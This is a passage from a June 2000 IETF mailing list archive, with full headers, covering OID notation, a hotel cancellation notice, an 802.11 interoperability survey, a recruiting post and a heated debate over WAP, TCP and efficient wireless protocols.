representations. They </FONT>
<BR><FONT SIZE=3D2>&gt; also use name(number) to identify what the =
fields are, and </FONT>
<BR><FONT SIZE=3D2>&gt; the first part of a text representation can =
also be an </FONT>
<BR><FONT SIZE=3D2>&gt; assigned asn.1 value (so a whole subtree can be =
specified </FONT>
<BR><FONT SIZE=3D2>&gt; without repeating the value of the root all =
over the place)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Peter Furniss</FONT>
<BR><FONT SIZE=3D2>&gt; ISO/IEC JTC1 OSI Maintenance Rapporteur (on =
behalf of BSI)</FONT>
<BR><FONT SIZE=3D2>&gt; OSI Maintenance website: <A =
HREF=3D"http://www.furniss.co.uk/maint" =
TARGET=3D"_blank">http://www.furniss.co.uk/maint</A></FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BFDCDC.A517EC2C--



From owner-ietf-outbound  Fri Jun 23 09:40:37 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA10245
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 09:40:02 -0400 (EDT)
Received: from netsol-nic-ex03.prod.netsol.com (h16.s238.netsol.com [216.168.238.16] (may be forged))
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09691
	for <ietf@ietf.org>; Fri, 23 Jun 2000 09:31:27 -0400 (EDT)
Received: by NETSOL-NIC-EX03 with Internet Mail Service (5.5.2448.0)
	id <NLWC9Q4N>; Fri, 23 Jun 2000 09:30:57 -0400
Message-ID: <719326787FAED311889B009027D5FE351F535E@NETSOL-NIC-EX03>
From: "Hollenbeck, Scott" <shollenb@netsol.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: DoubleTree Cancellations
Date: Fri, 23 Jun 2000 09:30:56 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

I just had a call from the DoubleTree Hotel in Pittsburgh -- they are
canceling a number of (70+) confirmed reservations for the next IETF meeting
due to overbooking.  They're trying to arrange for alternative
accommodations, but if you had a confirmed reservation at the DoubleTree you
might want to check your confirmation status to be sure your reservation is
still valid.

Scott Hollenbeck
Network Solutions, Inc. Registry



From owner-ietf-outbound  Fri Jun 23 14:40:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA17111
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 14:40:02 -0400 (EDT)
Received: from out-of-band.media.mit.edu (out-of-band.media.mit.edu [18.85.16.22])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17078
	for <ietf@ietf.org>; Fri, 23 Jun 2000 14:38:25 -0400 (EDT)
Received: (from foner@localhost)
	by out-of-band.media.mit.edu (8.9.3/8.9.3/MEDIA) id OAA25092;
	Fri, 23 Jun 2000 14:38:24 -0400 (EDT)
Date: Fri, 23 Jun 2000 14:38:24 -0400 (EDT)
Message-Id: <200006231838.OAA25092@out-of-band.media.mit.edu>
From: Lenny Foner <foner@media.mit.edu>
To: ietf@ietf.org
Subject: Please help share your 802.11 multivendor interop experience
CC: 802.11@media.mit.edu
X-Loop: ietf@ietf.org

[Please keep 802.11 CC'ed; see [1] at bottom for more.]

There's a huge amount of fuzz when it comes to figuring out whether any
given 802.11b (direct-sequence, 11MBit/sec, RF) card or base station will
actually work with each other, or when roaming, etc.  Fixing this could
help both IETF meeting hosts and members who want to use wireless
networking at meetings, not to mention the projects suggested below.

I've asked quite a number of people who -should- know, and nobody seems to
know the whole story, or know what entity -would- know.  The www.wi-fi.com
website (which claims to address such issues) is less than impressive, and
has little useful information on it.  So I'm trying to find actual
operational experience.  Please help!  You'll be helping several different
projects:
 (a) I'm working with some well-known-to-IETF folks to figure out what to
     specify for a fast-deployment, temporary net for the Oregon Country
     Fair in Eugene, which happens in early July.  This will serve as a
     beta-test for a later setup (in late August) on the playa at Black
     Rock City, Nevada, as part of Burning Man, for use by everyone there.
     Both installations are part of events that last only a few days and
     cover a few square kilometers at which up to 20,000 people may be
     present.
 (b) There may be a sufficient density of people in the Davis Square
     area of Somerville, MA (and maybe elsewhere) to make an ad-hoc bunch
     of cells---enough that it might be quite likely that any given laptop
     will be near enough someone's cell to see the greater Internet. [2]
     [I'm using Davis Square as an example because that's where I live,
     and that's where a lot of other Boston-area geeks live.]

The end results of this survey & discussion will hopefully be:
 (a) Archives for people to read later
 (b) A set of web pages describing what to buy and how to configure it
 (c) Whatever else we all want to generate

Here are the things we need to figure out.
 (a) Exactly how interoperable is any given 802.11 DS, 11MBit/sec card with
     any base station?  Any known losing combos?
 (b) Which cards roam properly with which base stations?  For any given
     card from vendor X and base station from vendor Y, which ones roam
     correctly, and which do not?  How does this answer change if both
     cards and base stations are from the same vendor?
 (c) Which cards and base stations are easiest or hardest to retrofit other
     antennas?  Are there unusually difficult-to-obtain connectors on
     particular cards or base stations?  [The installations in the middle
     of nowhere, surrounded by mountains, might use unusual techniques;
     installations in Somerville must of course stay under FCC limits.]
 (d) Do any particular cards have driver problems, for either *BSD, Linux,
     or Windows?  How does roaming affect this issue?  How available are
     drivers?
 (e) Do any base stations allow roaming -without- requiring bridging?
 (f) For operation at very low signal strengths (e.g., to extend range),
     can we step down to 2Mbps?  Does this have to be decided in advance,
     for all users of the net?  Is there a good source for such antennas?
     For an installation in the middle of the desert, should we consider
     linears?  From what source?  How do we cope with the power asymmetry
     between base stations and laptops?
 (g) A big, spread-out net, with either directional antennas or roaming,
     might mean that not all mobiles can hear each other to avoid
     collisions.  How big a problem might this be?
 (i) Crypto---how easy is it to use 128-bit keys?  Must everyone on the net
     have the same key, or can we key per-user somehow?  Has anyone
     evaluated the cryptographic strength of whatever PNRG is generating
     the keys?
 (h) What other problems might we expect?  What questions -should- I be
     asking?

[1] This message is being sent, separately, to several small lists and a
few individuals.  This keeps cross-discussion on each individual list.
If you'd like to see what everyone has said, add yourself to the new
802.11 interop mailing list by sending "help" in body or subject to
802.11-request@media.mit.edu.  I will announce any results, web pages, etc,
that come out of this to the 802.11@media.mit.edu list.  Also, -please-
keep 802.11 CC'ed on replies!  Doing so means that everyone's replies to
the various lists all wind up in a common archive that people can read.
See also http://lcs.www.media.mit.edu/projects/802.11/.

[2] There are a number of obvious issues here, which will be explored in a
separate mailing list; send "help" to davis-net-request@media.mit.edu or
see http://lcs.www.media.mit.edu/projects/Davis-Net/ for more details.



From owner-ietf-outbound  Fri Jun 23 15:20:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA17864
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 15:20:02 -0400 (EDT)
Received: from infidel.boolean.net (root@router.boolean.net [198.144.206.49])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA17818
	for <ietf@ietf.org>; Fri, 23 Jun 2000 15:15:55 -0400 (EDT)
Received: from gypsy (root@infidel.boolean.net [198.144.202.241])
	by infidel.boolean.net (8.9.3/8.9.3) with SMTP id TAA21356;
	Fri, 23 Jun 2000 19:15:54 GMT
	(envelope-from Kurt@OpenLDAP.org)
Message-Id: <3.0.5.32.20000623121552.00955190@infidel.boolean.net>
X-Sender: guru@infidel.boolean.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 23 Jun 2000 12:15:52 -0700
To: michaelm@netsol.com
From: "Kurt D. Zeilenga" <Kurt@OPENLDAP.ORG>
Subject: Re: Where is the OID "dot convention" spelled out?
Cc: ietf@ietf.org
In-Reply-To: <20000622072720.B27587@bailey.dscga.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

See RFC 1778, 2.15:
   Values of type objectIdentifierSyntax are encoded according to the  
   following BNF:
   
     <oid> ::= <descr> | <descr> '.' <numericoid> | <numericoid>
   
     <descr> ::= <keystring>

     <numericoid> ::= <numericstring> | <numericstring> '.' <numericoid>
   
   In the above BNF, <descr> is the syntactic representation of an
   object descriptor. When encoding values of type
   objectIdentifierSyntax, the first encoding option should be used in 
   preference to the second, which should be used in preference to the
   third wherever possible. That is, in encoding object identifiers,
   object descriptors (where assigned and known by the implementation)
   should be used in preference to numeric oids to the greatest extent
   possible. For example, in encoding the object identifier representing
   an organizationName, the descriptor "organizationName" is preferable
   to "ds.4.10", which is in turn preferable to the string "2.5.4.10".

This was refined in RFC 2252, 4.1.  In particular, it eliminates
 the "ds.4.10" form.



From owner-ietf-outbound  Fri Jun 23 16:10:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA18650
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 16:10:02 -0400 (EDT)
Received: from redmailwall.attws.com (redmailwall.attws.com [199.108.253.115])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18519
	for <ietf@ietf.org>; Fri, 23 Jun 2000 16:01:37 -0400 (EDT)
Received: from viruswall.entp.attws.com (viruswall.entp.attws.com [155.176.34.36])
	by redmailwall.attws.com (8.9.3/8.9.3) with ESMTP id NAA21927
	for <ietf@ietf.org>; Fri, 23 Jun 2000 13:01:30 -0700 (PDT)
Received: from scentmail.scent.attws.com by viruswall.entp.attws.com (8.8.8+Sun/AT&T Wireless Services, Inc. V8 version 2)
	id NAA06142; Fri, 23 Jun 2000 13:01:01 -0700 (PDT)
Received: from kali.nwest.mccaw.com (kali.nwest.attws.com [141.204.186.81])
	by scentmail.scent.attws.com (8.8.8+Sun/8.8.8) with ESMTP id MAA21218
	for <ietf@ietf.org>; Fri, 23 Jun 2000 12:53:08 -0700 (PDT)
Received: (from daryl@localhost)
	by kali.nwest.mccaw.com (8.9.1/8.9.1) id MAA03630
	for ietf@ietf.org; Fri, 23 Jun 2000 12:53:55 -0700
Date: Fri, 23 Jun 2000 12:53:55 -0700
From: Daryl Bunce <daryl.bunce@attws.com>
Message-Id: <200006231953.MAA03630@kali.nwest.mccaw.com>
To: ietf@ietf.org
Subject: RE: Where is the OID "dot convention" spelled out?
X-Loop: ietf@ietf.org


try
http://www.alvestrand.no/objectid/top.html

Not spelled out, but a good starting spot (Thanks Harald!)



From owner-ietf-outbound  Fri Jun 23 17:20:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA19508
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 17:20:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA19468
	for <ietf@ietf.org>; Fri, 23 Jun 2000 17:17:56 -0400 (EDT)
Received: (qmail 28966 invoked by uid 100); 23 Jun 2000 21:17:32 -0000
Date: 23 Jun 2000 21:17:32 -0000
Message-ID: <20000623211732.28965.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: <bkumar@ennovatenetworks.com>
Cc: "'Phil Karn'" <karn@qualcomm.com>, "'IETF Mailing List'" <ietf@ietf.org>
Subject: RE: WAP Is A Trap -- Reject WAP
In-Reply-To: <015c01bfdb92$2c7d98c0$d001010a@tst.ennovatenetworks.com>
References: <20000621035029.3113.qmail@tooran.byname.net>
	<015c01bfdb92$2c7d98c0$d001010a@tst.ennovatenetworks.com>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Wed, 21 Jun 2000 11:05:43 -0400, "Brijesh Kumar" <bkumar@ennovatenetworks.com> said:

  Brijesh> PS: By the way, ReFLEX is perfectly fine for two way messaging
  Brijesh> applications.

  Mohsen> No.
  Mohsen> 
  Mohsen> ReFLEX is not perfectly fine.
  Mohsen> 
  Mohsen> It is not IP based.

  Brijesh> Hi Mohsen,

  Brijesh> What kind of argument is this?

You used the words "ReFLEX is perfectly fine for ...".

I could have challenged that claim based on any of several points that
you yourself mentioned. I chose the IP argument because it is the most
powerful and least obvious one in the case of ReFLEX.

ReFLEX is not IP based and it could have been IP based.

  Brijesh> If it is not IP based it is not good ! This is an emotional response,
  Brijesh> not a technical one. Using the same arguments, the whole phone system
  Brijesh> isn't good because it has nothing to do with IP (or at least was true
  Brijesh> till VoIP came), and same is true of all G2 TDMA, CDMA and GSM
  Brijesh> cellular systems (and don't forget AMPS, CDECT and many other wireless
  Brijesh> standards).

The networks that you have mentioned above were in place before IP's
power became clear.  That is a legitimate excuse for their non IP
nature. I would say the knee of the curve was in 1992.

ReFLEX on the other hand can not use that excuse because it came after
1992. ReFLEX's Narrowband PCS licenses came out in 1995.

The remaining excuse for ReFLEX not being IP based is efficiency.

It is very feasible and reasonable to build a highly efficient IP
based slow wireless network. An initial such attempt using the
Narrowband PCS spectrum (same as ReFLEX) was called pACT. The failure
of pACT was due to AT&T's business withdrawal in 1997 -- not
technology. pACT could have been real competition for ReFLEX.

Derivatives of pACT related work are in use in bandwidth constrained
environments. The last leg of IP in wireless environments can be made
highly efficient.

In this day and age, citing efficiency as a rationale for building a
non-IP based network is a lame excuse.


Later you said:

>>>>> On Thu, 22 Jun 2000 11:39:11 -0400, "Brijesh Kumar" <bkumar@ennovatenetworks.com> said:

  Brijesh> Let us take case of a CDPD device that has a IP address. CDPD has one
  Brijesh> of the largest coverage in US and is geared for data communication.
  Brijesh> Now CDPD works at 19.2 Kbps, and uses spare capacity from AMPs
  Brijesh> channel, and when no channel is available that a device looks for
  Brijesh> voice gaps in other channels to send data.

I am one of the primary architects of the CDPD Specifications --
starting with rev. 0.3 in Dec. 92.

I would like to believe that the main reason why CDPD is IP based is
because of my involvement. Prior to my involvement it was not IP
based.

  Brijesh> With these kind of losses TCP
  Brijesh> throughput tanks!. So we need a wireless medium aware version of TCP
  Brijesh> or some hacks for TCP to be efficient under losses (see relevant
  Brijesh> literature).

Others (Steve Deering, Vernon Schryver, ...) have already pointed out
that above layer 3, wirelessness is irrelevant. 

When it comes to wirelessness, above layer 3 the name of the game is
"EFFICIENCY" -- and all dimensions of it.

There is a place for something else in addition to TCP, but not for
the reasons that you mentioned. More on this later.

...Mohsen.














From owner-ietf-outbound  Fri Jun 23 18:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA20375
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 18:10:02 -0400 (EDT)
Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20281
	for <ietf@ietf.org>; Fri, 23 Jun 2000 18:01:37 -0400 (EDT)
Received: from eagles (user-33qscue.dialup.mindspring.com [199.174.51.206])
	by blount.mail.mindspring.net (8.9.3/8.8.5) with SMTP id SAA04944
	for <ietf@ietf.org>; Fri, 23 Jun 2000 18:01:38 -0400 (EDT)
Return-Receipt-To: "Gateway55" <gateway55@mindspring.com>
From: "Gateway55" <gateway55@mindspring.com>
To: <ietf@ietf.org>
Subject: SNMP Mib agent development
Date: Fri, 23 Jun 2000 17:00:22 -0500
Message-ID: <000001bfdd5e$719333c0$ce33aec7@eagles>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0001_01BFDD34.88CDF4A0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01BFDD34.88CDF4A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Immediate world class 3rd generation wireless openings for senior network
engineers
that are accomplished in SNMP and MIB development in
datacom and telecom network environments.  Best compensation
package available in the market today.  Extremely favorable living
and working scenarios in strategic leading-edge development corridors.

Send your confidential response to Mike Wilson / Executive
Vice President of Network Engineering at Gateway55@mindspring.com

------=_NextPart_000_0001_01BFDD34.88CDF4A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN =
class=3D540065521-23062000>Immediate=20
world class 3rd generation wireless openings for senior network =
engineers=20
</SPAN></FONT></DIV>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN =
class=3D540065521-23062000>that are=20
accomplished in SNMP and MIB development in </SPAN></FONT></DIV>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN =
class=3D540065521-23062000>datacom and=20
telecom network environments.&nbsp; Best compensation =
</SPAN></FONT></DIV>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN =
class=3D540065521-23062000>package=20
available in the market today.&nbsp; Extremely favorable living=20
</SPAN></FONT></DIV>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN =
class=3D540065521-23062000>and working=20
scenarios in strategic leading-edge development =
corridors.</SPAN></FONT></DIV>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN=20
class=3D540065521-23062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN =
class=3D540065521-23062000>Send your=20
confidential response to Mike Wilson / Executive </SPAN></FONT></DIV>
<DIV><FONT face=3D"CAC Futura Casual"><SPAN =
class=3D540065521-23062000>Vice=20
President of Network Engineering at <A=20
href=3D"mailto:Gateway55@mindspring.com">Gateway55@mindspring.com</A></SP=
AN></FONT></DIV></BODY></HTML>

------=_NextPart_000_0001_01BFDD34.88CDF4A0--



From owner-ietf-outbound  Fri Jun 23 18:30:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21847
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 18:30:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21656
	for <ietf@ietf.org>; Fri, 23 Jun 2000 18:26:26 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id SAA12309;
	Fri, 23 Jun 2000 18:24:08 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: "'Mohsen BANAN-Public'" <public@mohsen.banan.1.byname.net>
Cc: "'Phil Karn'" <karn@qualcomm.com>, "'IETF Mailing List'" <ietf@ietf.org>
Subject: RE: WAP Is A Trap -- Reject WAP
Date: Fri, 23 Jun 2000 18:28:02 -0400
Message-ID: <01d401bfdd62$4c38fd40$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20000623211732.28965.qmail@tooran.byname.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> -----Original Message-----
> The networks that you have mentioned above were in place before IP's
> power became clear.  That is a legitimate excuse for their non IP
> nature. I would say the knee of the curve was in 1992.
>
> ReFLEX on the other hand can not use that excuse because it came
after
> 1992. ReFLEX's Narrowband PCS licenses came out in 1995.
>
> The remaining excuse for ReFLEX not being IP based is efficiency.

Hi Mohsen,

Let me clarify this issue once again.

1. If FPF opposes WAP because it involves a patent, and a protocol
should be patent free, I guess most people on this list will agree
with you (though I doubt many people have much to do with WAP on this
list, and care about it).

2. If FPF says that all future wireless end devices should have IP so
that there is no need to have a solution like WAP gateways, I think
most people will agree with you on this too.  That is happening any
way.

3. If FPF says that vendors should go back and modify all current
cell-phones and pagers and cellular infrastructure components, discard
WAP protocols, and use UDP/TCP/IP based solutions; it is not going to
happen no matter how many people support this position on this list.
WAP is a short term solution for this generation's networks/devices,
and will automatically die when next generation network/devices
arrive.

You must position Free Software foundation's work to make WAP, or any
other future protocols free from any patent. You will find lot of
support on that issue. I think we all agree on this.

Cheers,

--brijesh
(personal opinion only)



From owner-ietf-outbound  Fri Jun 23 20:40:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA23571
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 20:40:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA23479
	for <ietf@ietf.org>; Fri, 23 Jun 2000 20:31:39 -0400 (EDT)
Received: (qmail 299 invoked by uid 100); 24 Jun 2000 00:31:17 -0000
Date: 24 Jun 2000 00:31:17 -0000
Message-ID: <20000624003117.298.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: Vernon Schryver <vjs@calcite.rhyolite.com>
Cc: ietf@ietf.org
Subject: RE: WAP and IP
In-Reply-To: <200006222310.RAA15677@calcite.rhyolite.com>
References: <200006222310.RAA15677@calcite.rhyolite.com>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Thu, 22 Jun 2000 17:10:16 -0600 (MDT), Vernon Schryver <vjs@calcite.rhyolite.com> said:

  >> From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
  >> ...
  >> >Add to
  >> >that even if there was enough bandwidth, small screen's on some of the
  >> >today's devices can't meaningfully display all contents of modern web
  >> >sites.
  >> 
  >> Neither can Lynx, a popular text-mode browser.
  >> 
  >> The fact is that the Internet was developed *in* and *for* the bandwidth 
  >> and display capabilities that WAP currently is claiming to be designed for.
  >> It just scaled well.

  Vernon> That bears repeating, although few of the WAP enthusiasts and other
  Vernon> advocates of fix TCP for QOS and modern radio telephone links will hear.

Perhaps the I* (IESG/IAB...) folks suffer from a similar hearing
problem.

Please listen:
 
 There is a genuine need for a reliable efficient transport that 
 accommodates *short* and *occasional* exchanges.
 
 There are many occasions where UDP is too little and TCP is too much.


IETF/IESG/IAB folks keep saying TCP is good enough for everything.
And they interfere with the work of others addressing the efficient
applications domain.
	
RFC-2188 (Efficient Short Remote Operations) is one solution to this
problem space.  http://www.esro.org/ deals with this topic in detail.

Much of the design rationale and trade-offs made in the design of ESRO
may not be obvious to those who are not willing to dig deep enough.
Those who want to discuss or challenge the ESRO design can join the
esro-spec mailing list by sending a message to
mailto:esro-spec-subscribe@lists.esro.org

ESRO addresses the same problem space as WTP. It may be worthwhile
mentioning that WAP's WTP appears to be related to previous work
that was published as LSROS (Limited Size Remote Operations) by the
CDPD Forum in 1995. I personally participated actively in the
development of LSROS.

Efficient application protocols is a new topic for most.  Go to your
favorite RFC repository and search for "efficient" in the title field.
See what you get. We are now moving beyond "Simple Protocols," and
"Efficient Protocols" are in big demand.

Much work has already been done on this front and there is no need for
the IETF/IESG/IAB to re-invent things just because the source of the
work is not under their control.

While the right implementations of TCP are just fine for transfer of
larger pieces of information in most (if not all) wireless
environments, transfer of occasional short messages is a different
matter.

In order to make some of this to fall into place, let me offer a
concrete example. Let's consider the problem space of Mobile Messaging
over wireless IP networks. Let's try to submit and deliver 10 short
but important email messages per day over a wide area wireless
network. This in fact is a very real problem.

Given the existing SMTP/IMAP/TCP technology the best you can do is a
minimum of 9 PDU exchanges per submission/delivery. Not very good at
all. The next step is what Dan J. Bernstein has done with QMTP and QMQP
which gets to a minimum of 5 PDU exchanges. That is as good as it
gets when using TCP. So why has QMTP... not been published as
an RFC? I understand Dan Bernstein did submit it for publication.

In order to do anything beter than 5 PDU exchanges we need something
other than TCP. The combination of ESRO and EMSD can do the job in 3 PDU
exchanges most of the time. EMSD (Efficient Mail Submission and
Delivery) has been published as RFC-2524. More information on the
above example is available at http://www.emsd.org/

In wide area wireless environments, where capacity is always limited and
precious, these 9-to-3 or 5-to-3 factors are significant enough to justify
something other than TCP for short and occasional exchanges.

Furthermore, one can not afford 9 bytes to encode "Subject: " in wide
area wireless environments. Those days are over.

Those who want to understand how EMSD and ESRO deal with congestion
control, flow control, scalability, and so on, should join the above
mentioned relevant mailing lists.


  Vernon> Still, all of this talk about WAP is irrelevant on the main IETF list.

I have always considered ietf@ietf.org as a public forum of the
Internet technical community. Any consideration other than that is
likely to push things more in the "cult" direction.

Without anybody's interference the discussions of the past few days
have been evolving from WAP into a perfectly valid and legitimate
topic of obvious general interest to the Internet technical community.
That topic is Efficient Application Protocols.

  Vernon> The IETF is to WAP as the ISO or ITU is to TCP, or if you prefer, as
  Vernon> the IETF was to TP4.  Only moribund standards organizations have the
  Vernon> time and energy to spare for critiques of the fun and games in other
  Vernon> standards outfits and industry consortia.  WAP will fail on its own
  Vernon> merits and without the let, leave, or hindrance of the IETF.

Agreed.

The question is what will replace WAP, and what role can we play in
shaping the right replacement?

Will IETF/IESG/IAB play a significant role in shaping the future of
Efficient Application Protocols?

Is it unreasonable to say that in the area of Efficient Protocols
IETF/IESG/IAB is currently inexperienced and has little to offer?

Is it unreasonable to suppose that innovation and rapid progress on this
front might come from outside the IETF/IESG/IAB? After all, this is
what happened with the Web, PGP and many others.

We have put in place a framework where others who are interested in
working on a set of protocols which: 

  - have been published as Internet RFCs
  - conform full to the FPF patent-free principles
  - are maintained by open public working groups

The umbrella name for these protocols is:

  "Lightweight & Efficient Application Protocols (LEAP)"

The general interest forum for the protocols is:

    http://www.leapforum.org/


This work open. It is free. 
And it is taking place outside the IETF/IESG/IAB.


...Mohsen.




From owner-ietf-outbound  Fri Jun 23 22:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA25269
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 22:10:01 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25235
	for <ietf@ietf.org>; Fri, 23 Jun 2000 22:04:53 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id UAA21947
	for ietf@ietf.org  env-from <vjs>;
	Fri, 23 Jun 2000 20:04:50 -0600 (MDT)
Date: Fri, 23 Jun 2000 20:04:50 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200006240204.UAA21947@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: WAP and IP
X-Loop: ietf@ietf.org

> From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>

> ...
>  There is a genuine need for a reliable efficient transport that 
>  accommodates *short* and *occasional* exchanges.
>
>  There are many occasions where UDP is too little and TCP is too much.

I've often heard that from telephant advocates, but I've never seen
anything plausible from them.  It's not that I can't believe it, since
I'm currenting coding something that needs more than UDP and less than
TCP, and that involves short and often only occassional exchanges.  Such
applications have been common in the IP world for decades.  The problem
is that the new wireless folks talk only about ridiculous applications
such as WWW browsing using screens with 60x80 pixels were each pixel is
one whole dark grey vs. light grey bit.
  

> IETF/IESG/IAB folks keep saying TCP is good enough for everything.

You're not listening or you're listening to the wrong I* folks.  No
one with a clue says TCP is good enough for everything or even that
TCP and UDP are good enough for everything.  Perhaps your complaint
is that acknowledging the limits of TCP doesn't confer automatic
support for the latest consortium braincloud.
Maybe you could get sympathy from the former ATM advocates here, who
in the early 1990's told us that IP was obsolete and would soon be
replaced by ATM to the desktop.  Or the ISO-OSI advocates of the mid- and
late 1980s.  Both groups had a lot of telephant employees and suppliers.


> And they interfere with the work of others addressing the efficient
> applications domain.

And how do they interfere with anything except foolish advertising
and advocacy that is obviously contrary to reality?

I've argued forceful elsewhere against the religion that says that the
ends of the IP path must be defined as the webphones.  There is just as
much silliness as WAP in trying to make HTTP/TCP/IP run on the last 1000
bit/sec, 1E5 BER wireless 500 meters to 1 MHz computers with 1000 pixel
screens.  WAP is based on the right insight given those bogus limits, but
amazingly backwards.  It's as if the telephants are afraid of the obvious
solution, which involves them running real computers and treating webphones
as semi-dumb terminals.


> ...
> Efficient application protocols is a new topic for most.  Go to your
> favorite RFC repository and search for "efficient" in the title field.
> See what you get. We are now moving beyond "Simple Protocols," and
> "Efficient Protocols" are in big demand.

That's more of an observation about the evolution of standards outfits
than the current market, computers, or anything else.  The later works of
committees are always at best bigger and usually much worse than merely
bigger.  It becomes silly even to insiders to claim their efforts are
"simple."  "Efficient" is more nebulous.  Thus the great protocol disasters
have all been paragons of efficiency.  Consider the ISO OSI suite and FDDI.


> ...
> While the right implementations of TCP are just fine for transfer of
> larger pieces of information in most (if not all) wireless
> environments, transfer of occasional short messages is a different
> matter.

Yes, TCP is not always the right solution.  This is has not been news to
anyone with any sense for more than 20 years.  Can't you name several
familiar applications that fit your profile?  Isn't DNS about the "transfer
of occasional short messages?"  Other old examples include PPP (LCP),
NTP, NNTP (for reading not feeds), and many RPC applications including
YP/NIS.


> ...
> In order to do anything beter than 5 PDU exchanges we need something
> other than TCP. The combination of ESRO and EMSD can do the job in 3 PDU
> exchanges most of the time. EMSD (Efficient Mail Submission and
> Delivery) has been published as RFC-2524. More information on the
> above example is available at http://www.emsd.org/

I disagree with your packet counts, but never mind.  You're solving the
60x80x1 resolution webphone problem of the 20th Century, and no one with
any sense cares.  (And no one notices that you're solving it with protocols
you say are "efficient" instead of "simple," have amazingly long
descriptions, and packet formats with lots of "unused" bits.)

